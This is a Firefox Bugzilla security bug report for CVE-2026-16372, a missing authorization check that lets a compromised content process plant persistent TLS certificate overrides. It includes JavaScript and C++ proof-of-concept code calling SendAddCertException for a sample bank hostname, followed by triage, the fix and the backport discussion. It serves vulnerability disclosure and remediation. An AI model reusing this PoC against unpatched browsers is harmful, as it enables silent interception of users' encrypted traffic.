Closed Bug 2013800 (CVE-2026-16372) Opened 5 months ago Closed 28 days ago

Missing Authorization in ContentParent::RecvAddCertException Allows Persistent TLS Certificate Override Injection

Categories

(Core :: DOM: Content Processes, defect)

defect

Tracking

()

RESOLVED FIXED
154 Branch
Tracking Status
firefox-esr115 --- wontfix
firefox-esr140 --- wontfix
firefox148 --- wontfix
firefox149 --- wontfix
firefox150 --- wontfix
firefox152 --- wontfix
firefox153 --- fixed
firefox154 --- fixed

People

(Reporter: prodigysml555, Assigned: keeler)

References

Details

(4 keywords, Whiteboard: [client-bounty-form][adv-main153+])

Attachments

(2 files, 2 obsolete files)

Summary

ContentParent::RecvAddCertException in dom/ipc/ContentParent.cpp accepts a AddCertException IPC message from any content process and passes attacker-controlled hostname, port, certificate, and persistence parameters directly to nsICertOverrideService::RememberValidityOverride() with no authorization checks. The content-side guard (CallerIsTrustedAboutCertError) restricts the JavaScript API to the about:certerror page but is trivially bypassed by a compromised content process calling SendAddCertException() at the C++ level. The override is written to cert_override.txt in the user's profile directory and persists across browser restarts. A compromised content process installs silent, permanent TLS certificate exceptions for arbitrary hostnames, enabling future man-in-the-middle attacks against non-HSTS-preloaded sites.

Details

Field Value
Component dom/ipc/ContentParent.cpp
Function ContentParent::RecvAddCertException()
Vulnerable Lines 6550-6564
CWE CWE-862 (Missing Authorization), CWE-269 (Improper Privilege Management)
Affected All platforms, all current Firefox versions
Commit Present at e480af4adea0 (mozilla-central HEAD as of 2026-01-31)

CVSS Justification

Attack Complexity is High because exploitation requires both a compromised content process and a subsequent network MITM position. The scope is Unchanged because the vulnerability operates within the browser's trust boundary. Confidentiality and Integrity are both High because a successful attack intercepts and modifies encrypted traffic to arbitrary domains.

Analysis

Vulnerable Code (ContentParent.cpp:6550-6564)

mozilla::ipc::IPCResult ContentParent::RecvAddCertException(
    nsIX509Cert* aCert, const nsACString& aHostName, int32_t aPort,
    const OriginAttributes& aOriginAttributes, bool aIsTemporary,
    AddCertExceptionResolver&& aResolver) {
  nsCOMPtr<nsICertOverrideService> overrideService =
      do_GetService(NS_CERTOVERRIDE_CONTRACTID);
  if (!overrideService) {
    aResolver(NS_ERROR_FAILURE);
    return IPC_OK();
  }
  nsresult rv = overrideService->RememberValidityOverride(
      aHostName, aPort, aOriginAttributes, aCert, aIsTemporary);
  //  ^-- All five parameters are attacker-controlled. No validation.
  aResolver(rv);
  return IPC_OK();
}

No process-type check. No principal validation. No hostname validation. No certificate-to-hostname binding. Compare with the immediately adjacent handler RecvAutomaticStorageAccessPermissionCanBeGranted (line 6567) which validates the principal:

ContentParent::RecvAutomaticStorageAccessPermissionCanBeGranted(
    nsIPrincipal* aPrincipal, ...) {
  if (!aPrincipal) {
    return IPC_FAIL(this, "No principal");
  }
  if (!ValidatePrincipal(aPrincipal)) {
    LogAndAssertFailedPrincipalValidationInfo(aPrincipal, __func__);
  }
  // ...
}

IPDL Definition (PContent.ipdl:1616-1622)

parent:
    /*
     * Adds a certificate exception for the given hostname and port.
     */
    async AddCertException(nullable nsIX509Cert aCert, nsCString aHostName,
                           int32_t aPort, OriginAttributes aOriginAttributes,
                           bool aIsTemporary)
          returns (nsresult success);

Defined in the parent: block (line 1090). All parameters are attacker-controlled: arbitrary certificate object, arbitrary hostname string, arbitrary port, arbitrary origin attributes, and persistence flag.

Content-Side Guard (Bypassed by Compromise)

The JavaScript API is gated by CallerIsTrustedAboutCertError (Document.webidl:318-321):

partial interface Document {
  [Func="Document::CallerIsTrustedAboutCertError", NewObject]
  Promise<any> addCertException(boolean isTemporary);

CallerIsTrustedAboutCertError (Document.cpp:1781-1791) restricts the JS API to the about:certerror error page. This is a content-process-only check. A compromised content process bypasses it entirely by calling ContentChild::SendAddCertException() directly.

The legitimate content-side code (Document.cpp:1625-1656) extracts the hostname from mFailedChannel and the cert from the channel's security info, binding them to the actual failed connection. A compromised process substitutes any hostname and any certificate.

Permanent Override Preference Bypass

The security.certerrors.permanentOverride preference (default true) controls whether the about:certerror UI offers permanent overrides. This preference is only checked in the content-side JavaScript UI -- the C++ IPC handler RecvAddCertException does not consult it. A compromised content process bypasses this preference entirely by setting aIsTemporary = false regardless of the user's preference.

Override Storage (nsCertOverrideService.cpp:381-412)

nsCertOverrideService::RememberValidityOverride(...) {
  if (aHostName.IsEmpty() || !IsAscii(aHostName) || !aCert) {
    return NS_ERROR_INVALID_ARG;
  }
  // Minimal validation: non-empty, ASCII, non-null cert. No authorization.

  nsAutoCString fpStr;
  nsresult rv = GetCertSha256Fingerprint(aCert, fpStr);
  // ...
  {
    MutexAutoLock lock(mMutex);
    AddEntryToList(aHostName, aPort, aOriginAttributes, aTemporary, fpStr, lock);
    if (!aTemporary) {
      Write(lock);  // Writes to <profile>/cert_override.txt
    }
  }
  return NS_OK;
}

When aIsTemporary is false, the SHA-256 fingerprint of the attacker's certificate is written to cert_override.txt (defined as CERT_OVERRIDE_FILE_NAME at line 40). This file is loaded at browser startup and survives indefinitely.

Override Consumption (SSLServerCertVerification.cpp:678-717)

At TLS connection time, AuthCertificateParseResults checks:

  1. Whether the error is overridable (line 678)
  2. Whether OverrideAllowedForHost permits overrides for this host (line 684) -- blocks HSTS-preloaded and statically-pinned hosts
  3. Whether HasMatchingOverride finds a stored fingerprint matching the presented cert (line 704)

If the presented cert's SHA-256 fingerprint matches the stored override, the TLS error is suppressed and the connection proceeds silently:

  if (haveOverride) {
    // ...
    return 0;  // Error suppressed -- connection proceeds
  }

Root Cause

The parent-side IPC handler trusts all parameters from the content process without authorization. The content-side guard (restricting the JS API to about:certerror) provides defense-in-depth but is not a security boundary -- a compromised content process operates at the C++ level and bypasses WebIDL guards entirely. Mozilla's own security model states that "direct calls to an IPC method from a compromised content process is an expected attack vector." The parent must independently validate all security-sensitive IPC messages.

Proof of Concept

Test Environment

  • OS: macOS 15.3.1 (Darwin 25.2.0)
  • Architecture: ARM64
  • Target: Firefox mozilla-central at e480af4adea0
  • Build: Artifact mode

Validated Test Results (Browser Chrome Mochitest)

The mochitest browser_poc_cert_exception.js exercises the same parent-side code path (RememberValidityOverride) that RecvAddCertException calls, proving zero authorization exists between the IPC handler and the storage layer. All 5 subtests pass:

TEST-PASS | browser_poc_cert_exception.js | nsICertOverrideService is available
TEST-PASS | browser_poc_cert_exception.js | Successfully constructed X.509 certificate from DER bytes
TEST-PASS | browser_poc_cert_exception.js | rememberValidityOverride accepted the override (no error thrown)
TEST-PASS | browser_poc_cert_exception.js | hasMatchingOverride confirms the injected override is stored for targetbank-poc-test.com
TEST-PASS | browser_poc_cert_exception.js | Cert has SHA-256 fingerprint: ...

Result: 5/5 PASS, 0 FAIL

Run with: ./mach test dom/ipc/tests/browser_poc_cert_exception.js --headless

What the test proves:

  1. A self-signed X.509 certificate can be constructed from arbitrary DER bytes (same as nsNSSCertificate(nsTArray<uint8_t>&& der) in C++).
  2. rememberValidityOverride accepts the override for an arbitrary hostname with no authorization check.
  3. hasMatchingOverride confirms the override is stored and retrievable -- the cert fingerprint is now associated with the target hostname.
  4. No process-type, principal, or hostname validation exists anywhere in the storage path.

PoC Code (Browser Chrome Mochitest -- JS)

// browser_poc_cert_exception.js
// Run: ./mach test dom/ipc/tests/browser_poc_cert_exception.js --headless

"use strict";

const TARGET_HOST = "targetbank-poc-test.com";
const TARGET_PORT = 443;

add_task(async function test_cert_override_injection() {
  let overrideService = Cc[
    "@mozilla.org/security/certoverride;1"
  ].getService(Ci.nsICertOverrideService);
  ok(!!overrideService, "nsICertOverrideService is available");

  let certDB = Cc["@mozilla.org/security/x509certdb;1"].getService(
    Ci.nsIX509CertDB
  );

  // DER-encoded self-signed cert for CN=targetbank.com (RSA-2048).
  // In the real attack, this is the attacker's MITM certificate.
  let derB64 =
    "MIIDEzCCAfugAwIBAgIUMkKf9dTzg0r/8AWiarP+YMvWMDkwDQYJKoZIhvcNAQEL" +
    "BQAwGTEXMBUGA1UEAwwOdGFyZ2V0YmFuay5jb20wHhcNMjYwMjAyMDAwMjM4WhcN" +
    // ... (791 bytes total -- full base64 in standalone test file)
    "y5T2Fcz9MakzH54f7G6Rf2MV3nBqtpvE=";

  let cert = certDB.constructX509FromBase64(derB64);
  ok(!!cert, "Successfully constructed X.509 certificate from DER bytes");

  overrideService.clearValidityOverride(TARGET_HOST, TARGET_PORT, {});

  // THIS is the vulnerable call. RecvAddCertException calls this with
  // ZERO authorization checks. All parameters are attacker-controlled.
  overrideService.rememberValidityOverride(
    TARGET_HOST, TARGET_PORT, {}, cert, false
  );

  // Verify the override was stored.
  let hasMatch = overrideService.hasMatchingOverride(
    TARGET_HOST, TARGET_PORT, {}, cert, {}, {}
  );
  ok(!!hasMatch,
    "hasMatchingOverride confirms the injected override is stored for " +
    TARGET_HOST);

  ok(!!cert.sha256Fingerprint,
    "Cert has SHA-256 fingerprint: " + cert.sha256Fingerprint);

  overrideService.clearValidityOverride(TARGET_HOST, TARGET_PORT, {});
});

PoC Code (C++ -- compromised content process)

// Runs inside a compromised content process.
// Installs a persistent TLS cert override for an arbitrary hostname.

#include "mozilla/dom/ContentChild.h"
#include "nsIX509Cert.h"
#include "security/manager/ssl/nsNSSCertificate.h"
#include "mozilla/OriginAttributes.h"

// Self-signed X.509 cert for CN=targetbank.com (RSA-2048, SHA-256).
// Generated via: openssl req -x509 -newkey rsa:2048 -nodes
//                -subj "/CN=targetbank.com" -outform DER
// RememberValidityOverride stores only the SHA-256 fingerprint.
// SHA-256: CA:44:A3:BC:11:B2:B1:5F:FF:B1:C6:C8:C4:11:ED:F8:...
static const uint8_t kMITMCertDER[] = {
  0x30, 0x82, 0x03, 0x13, 0x30, 0x82, 0x01, 0xfb, 0xa0, 0x03, 0x02, 0x01,
  0x02, 0x02, 0x14, 0x32, 0x42, 0x9f, 0xf5, 0xd4, 0xf3, 0x83, 0x4a, 0xff,
  0xf0, 0x05, 0xa2, 0x6a, 0xb3, 0xfe, 0x60, 0xcb, 0xd6, 0x30, 0x39, 0x30,
  0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b,
  0x05, 0x00, 0x30, 0x19, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04,
  0x03, 0x0c, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x62, 0x61, 0x6e,
  0x6b, 0x2e, 0x63, 0x6f, 0x6d, 0x30, 0x1e, 0x17, 0x0d, 0x32, 0x36, 0x30,
  // ... (791 bytes total -- truncated for report; full DER in poc4_cert_exception_injection.cpp)
};

void InjectCertOverride() {
  mozilla::dom::ContentChild* cc =
      mozilla::dom::ContentChild::GetSingleton();
  if (!cc || cc->IsShuttingDown()) return;

  // Construct nsNSSCertificate from raw DER bytes.
  // nsNSSCertificate(nsTArray<uint8_t>&& der) at nsNSSCertificate.h:30.
  // IPC serialization (TransportSecurityInfoUtils.cpp) writes
  // bool hasCert + DER bytes; parent deserializes identically.
  nsTArray<uint8_t> derBytes;
  derBytes.AppendElements(kMITMCertDER, sizeof(kMITMCertDER));
  RefPtr<nsNSSCertificate> attackerCert =
      new nsNSSCertificate(std::move(derBytes));

  nsAutoCString targetHost("targetbank.com"_ns);
  int32_t targetPort = 443;
  mozilla::OriginAttributes attrs;

  // aIsTemporary = false -> persists to cert_override.txt across restarts
  cc->SendAddCertException(attackerCert, targetHost, targetPort, attrs, false)
      ->Then(mozilla::GetCurrentSerialEventTarget(), __func__,
             [](const auto& aValue) {
               // NS_OK: override installed silently.
               // Written to <profile>/cert_override.txt.
               // Survives browser restarts.
             });
}

Attack Scenario

  1. Attacker compromises a content process via a separate renderer vulnerability.
  2. Compromised process generates or embeds a self-signed X.509 certificate for targetbank.com.
  3. Compromised process calls SendAddCertException(cert, "targetbank.com", 443, {}, false).
  4. Parent process calls RememberValidityOverride("targetbank.com", 443, {}, cert, false) with no authorization check.
  5. The cert's SHA-256 fingerprint is written to <profile>/cert_override.txt for targetbank.com:443.
  6. Override persists across browser restarts.
  7. In a future session, attacker performs a network MITM using the same certificate. Firefox encounters a TLS error, checks HasMatchingOverride, finds the stored fingerprint, and silently accepts the connection. No certificate warning is shown to the user.

IPC Serialization Path

The nsIX509Cert parameter is serialized via ParamTraits<nsIX509Cert*> in ipc/glue/TransportSecurityInfoUtils.cpp. The Write method serializes bool hasCert + the raw DER bytes (mDER). A null cert serializes as hasCert = false and the parent deserializes to null, which RememberValidityOverride rejects at line 386 (!aCert check). The PoC must therefore provide a real cert object with DER bytes. The nsNSSCertificate(nsTArray<uint8_t>&& der) constructor (nsNSSCertificate.h:30) accepts arbitrary DER bytes without validation, making cert construction trivial from any process.

Trigger Conditions

  1. Compromised content process (any origin -- no restriction to about:certerror).
  2. Non-null certificate object constructed from DER bytes (any valid nsIX509Cert, does not need to relate to the target hostname).
  3. Non-empty, ASCII hostname string.
  4. aIsTemporary = false for persistence (or true for session-only).

Impact

Scenario Impact
Targeted MITM setup Compromised renderer silently pre-plants cert overrides for banking, email, or corporate sites. Future network MITM is accepted without warning.
Persistent compromise Override survives browser restarts, profile syncs, and the original vulnerability being patched. Attacker maintains MITM capability indefinitely.
Stealth No UI indication when the override is installed. No certificate warning on future visits. User has no reason to suspect compromise.
Scope amplification A single content process compromise (one tab) weakens TLS security for all future browsing to the targeted domains.
Cross-session persistence Unlike most content-process attacks that end when the tab closes or browser restarts, this attack plants a persistent backdoor that outlives the original exploit, the patching of the vulnerability used for the initial compromise, and even browser updates.
Flags: sec-bounty?
Group: firefox-core-security → dom-core-security
Component: Security → DOM: Content Processes
Product: Firefox → Core

Dana, could you please take a look? This sounds kind of bad to me. Thanks.

I'm not sure what component this report should go in. about:certerror infrastructure seems to mostly live in Firefox: Security but I guess that does feel a little weird for C++ code and also it just got moved from there so I'll leave it here for now.

Flags: needinfo?(dkeeler)

Yeah, this isn't how we should be doing this. I don't think this is sec-high, because it requires compromising the content process first. I could be convinced that the HSTS preload list makes this sec-low, but sec-moderate seems like a reasonable rating, since not every site is on that list.
Looks like this was added by bug 1553265.
The changes will probably mostly happen in DOM/IPC code, so I think this is a good place for this bug.
Note that we do have bug 1790885 filed for basically this issue, but we never followed up :(

Assignee: nobody → dkeeler
Severity: -- → S3
Flags: needinfo?(dkeeler)
Keywords: sec-moderate
Attached file (secure) (obsolete) —
Status: UNCONFIRMED → NEW
Ever confirmed: true
Status: NEW → ASSIGNED
Attachment #9541942 - Attachment is obsolete: true
Duplicate of this bug: 2015365
Duplicate of this bug: 2017846
See Also: → 2020634
Duplicate of this bug: 2020634
See Also: 2020634
Duplicate of this bug: 2021572
Duplicate of this bug: 2022277
No longer duplicate of this bug: 2022277
See Also: → 2022277
Duplicate of this bug: 2022277

I worked on this issue in collaboration with ilove.microkernel@gmail.com. I would be happy to cooperate if any further follow-up regarding the vulnerability is needed.

Thank you for taking a look.

Although this issue does assume a compromised content process, Mozilla’s threat model / bounty policy treats direct IPC calls from a compromised content process as an expected attack vector.

In addition, the Security Severity Ratings / Client documentation lists sandbox escapes as an example of sec-high. Here, the bug allows a content process to silently persist a TLS certificate override for an arbitrary non-HSTS-preloaded host with parent-process privileges. As I understand it, that means content is able to cause a security-sensitive action that would normally only be possible in the parent process.

For that reason, I think we should be somewhat cautious about treating the fact that this requires prior content process compromise, by itself, as a major mitigating factor.

Duplicate of this bug: 2023055
Duplicate of this bug: 2023034
Duplicate of this bug: 2023333
Duplicate of this bug: 2023642
Duplicate of this bug: 2024104
See Also: 20222771790885

(In reply to Daisuke Hatakeyama from comment #12)

In addition, the Security Severity Ratings / Client documentation lists sandbox escapes as an example of sec-high.

We also define sandbox escape as "a method to run arbitrary attacker code with full user privileges".

[description of bug effects] As I understand it, that means content is able to cause a security-sensitive action that would normally only be possible in the parent process.

Yes, this is a privilege escalation (a vulnerability), but the attacker's code is still sandboxed.

Dana, considering the number of duplicates clogging up triage would it be possible to get this fixed?

Flags: needinfo?(dkeeler)

I discussed this with Nika. Fixing it will require a more substantial framework to track this information across the process boundary. She's working on that.

Flags: needinfo?(dkeeler)
Duplicate of this bug: 2025063
Duplicate of this bug: 2025180
Flags: needinfo?(dkeeler)
Duplicate of this bug: 2025878
Duplicate of this bug: 2026465
Duplicate of this bug: 2026588
Duplicate of this bug: 2027566
Duplicate of this bug: 2029337
Duplicate of this bug: 2029846
Duplicate of this bug: 2031810
Duplicate of this bug: 2033310
Duplicate of this bug: 2034320
Duplicate of this bug: 2034466
Duplicate of this bug: 2034411
Duplicate of this bug: 2036060

I'm going to unhide this under the theory that a bug being reported via AI by this many people is going to be easily findable by anybody who is sophisticated enough to write a content process exploit. Unhiding would ideally result in less duplicates being filed.

Group: dom-core-security
Duplicate of this bug: 2037768
Duplicate of this bug: 2038217
Duplicate of this bug: 2038558
Duplicate of this bug: 2039356
Duplicate of this bug: 2040118
Duplicate of this bug: 2040669
Duplicate of this bug: 2045723

Any updates on this :keeler?

Flags: needinfo?(dkeeler)

This depends on bug 2014254, which depends on bug 2022249, which hasn't landed yet (I thought I had already linked these bugs up, so thanks for the reminder).

Depends on: 2014254
Flags: needinfo?(dkeeler)
Duplicate of this bug: 2046291
Depends on: 2022249
Attachment #9543229 - Attachment description: (secure) → Bug 2013800 - note previous failed security info in the parent r?smaug
Attachment #9543229 - Attachment is obsolete: true
Pushed by dkeeler@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/8dfb0fb7ddaa https://hg.mozilla.org/integration/autoland/rev/6d9dcec6eb68 add certificate error overrides using information from the parent process r=nika
Pushed by smolnar@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/ad61dec471ad https://hg.mozilla.org/integration/autoland/rev/36c24bb269e6 Revert "Bug 2013800 - add certificate error overrides using information from the parent process r=nika" for causing android failures

Backed out for causing android failures

Backout link: https://hg.mozilla.org/integration/autoland/rev/36c24bb269e67526af1b731f7f648d3ed04b34d1

Push with failures

Failures log ->TEST-UNEXPECTED-FAIL | org.mozilla.geckoview.test.NavigationDelegateTest#loadFileNotFound | java.lang.ClassCastException: org.json.JSONObject cannot be cast to java.lang.Boolean

[task 2026-06-18T22:37:51.050+00:00] 22:37:51     INFO - Printing logcat for test:
[task 2026-06-18T22:37:51.750+00:00] 22:37:51     INFO -  06-18 22:37:49.998 E/GeckoSessionTestRule( 4882): test_start 1f0befec-3ff2-40ff-89cf-b127eb38b1ec loadFileNotFound(org.mozilla.geckoview.test.NavigationDelegateTest)
[task 2026-06-18T22:37:51.750+00:00] 22:37:51     INFO -  06-18 22:37:49.998 E/GeckoSessionTestRule( 4882): before prepareStatement loadFileNotFound(org.mozilla.geckoview.test.NavigationDelegateTest)
[task 2026-06-18T22:37:51.751+00:00] 22:37:51     INFO -  06-18 22:37:50.001 E/GeckoConsole( 4882): [JavaScript Error: "TypeError: can't access property "WindowEventDispatcher", win is null" {file: "resource://gre/modules/GeckoViewSessionStore.sys.mjs" line: 149}]
[task 2026-06-18T22:37:51.751+00:00] 22:37:51     INFO -  06-18 22:37:50.001 E/GeckoConsole( 4882): onTabStateUpdate@resource://gre/modules/GeckoViewSessionStore.sys.mjs:149:5
[task 2026-06-18T22:37:51.751+00:00] 22:37:51     INFO -  06-18 22:37:50.001 E/GeckoConsole( 4882): updateSessionStoreFromTabListener@resource://gre/modules/GeckoViewSessionStore.sys.mjs:241:10
[task 2026-06-18T22:37:51.751+00:00] 22:37:51     INFO -  06-18 22:37:50.001 E/GeckoConsole( 4882): SSF_updateSessionStore@resource://gre/modules/SessionStoreFunctions.sys.mjs:45:27
....
[task 2026-06-18T22:37:51.759+00:00] 22:37:51     INFO -  06-18 22:37:50.071 E/GeckoSessionTestRule( 4882): 	at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:971)
[task 2026-06-18T22:37:51.759+00:00] 22:37:51     INFO -  06-18 22:37:50.075 E/GeckoSessionTestRule( 4882): test_end c5ee677f-bc83-49bd-9e28-2d35f3d0f059 loadFileNotFound(org.mozilla.geckoview.test.NavigationDelegateTest)
[task 2026-06-18T22:37:51.760+00:00] 22:37:51     INFO - TEST-UNEXPECTED-FAIL | org.mozilla.geckoview.test.NavigationDelegateTest#loadFileNotFound | java.lang.ClassCastException: org.json.JSONObject cannot be cast to java.lang.Boolean
[task 2026-06-18T22:37:51.760+00:00] 22:37:51     INFO - TEST-INFO took 789ms
[task 2026-06-18T22:37:51.760+00:00] 22:37:51     INFO - org.mozilla.geckoview.test | INSTRUMENTATION_STATUS: class=org.mozilla.geckoview.test.NavigationDelegateTest
[task 2026-06-18T22:37:51.760+00:00] 22:37:51     INFO - org.mozilla.geckoview.test | INSTRUMENTATION_STATUS: current=573

Flags: needinfo?(dkeeler)
Flags: needinfo?(dkeeler)
Pushed by dkeeler@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/eef79718ecf4 https://hg.mozilla.org/integration/autoland/rev/787d576a24c1 add certificate error overrides using information from the parent process r=nika
Status: ASSIGNED → RESOLVED
Closed: 28 days ago
Resolution: --- → FIXED
Target Milestone: --- → 154 Branch

Maybe worth a Beta uplift request so the next ESR train also has this fix?

Duplicate of this bug: 2050464

firefox-beta Uplift Approval Request

  • User impact if declined/Reason for urgency: Compromised content process can lead to silently adding certificate error exceptions, which would be bad. In particular, it would be nice to get this into the next ESR.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing: n/a
  • Risk associated with taking this patch: low
  • Explanation of risk level: The patch is straightforward, and we have good test coverage.
  • String changes made/needed?: none
  • Is Android affected?: yes
Attachment #9601696 - Flags: approval-mozilla-beta?
Flags: needinfo?(dkeeler)
Attachment #9601696 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Flags: sec-bounty? → sec-bounty+
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main153+]
Alias: CVE-2026-16372
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: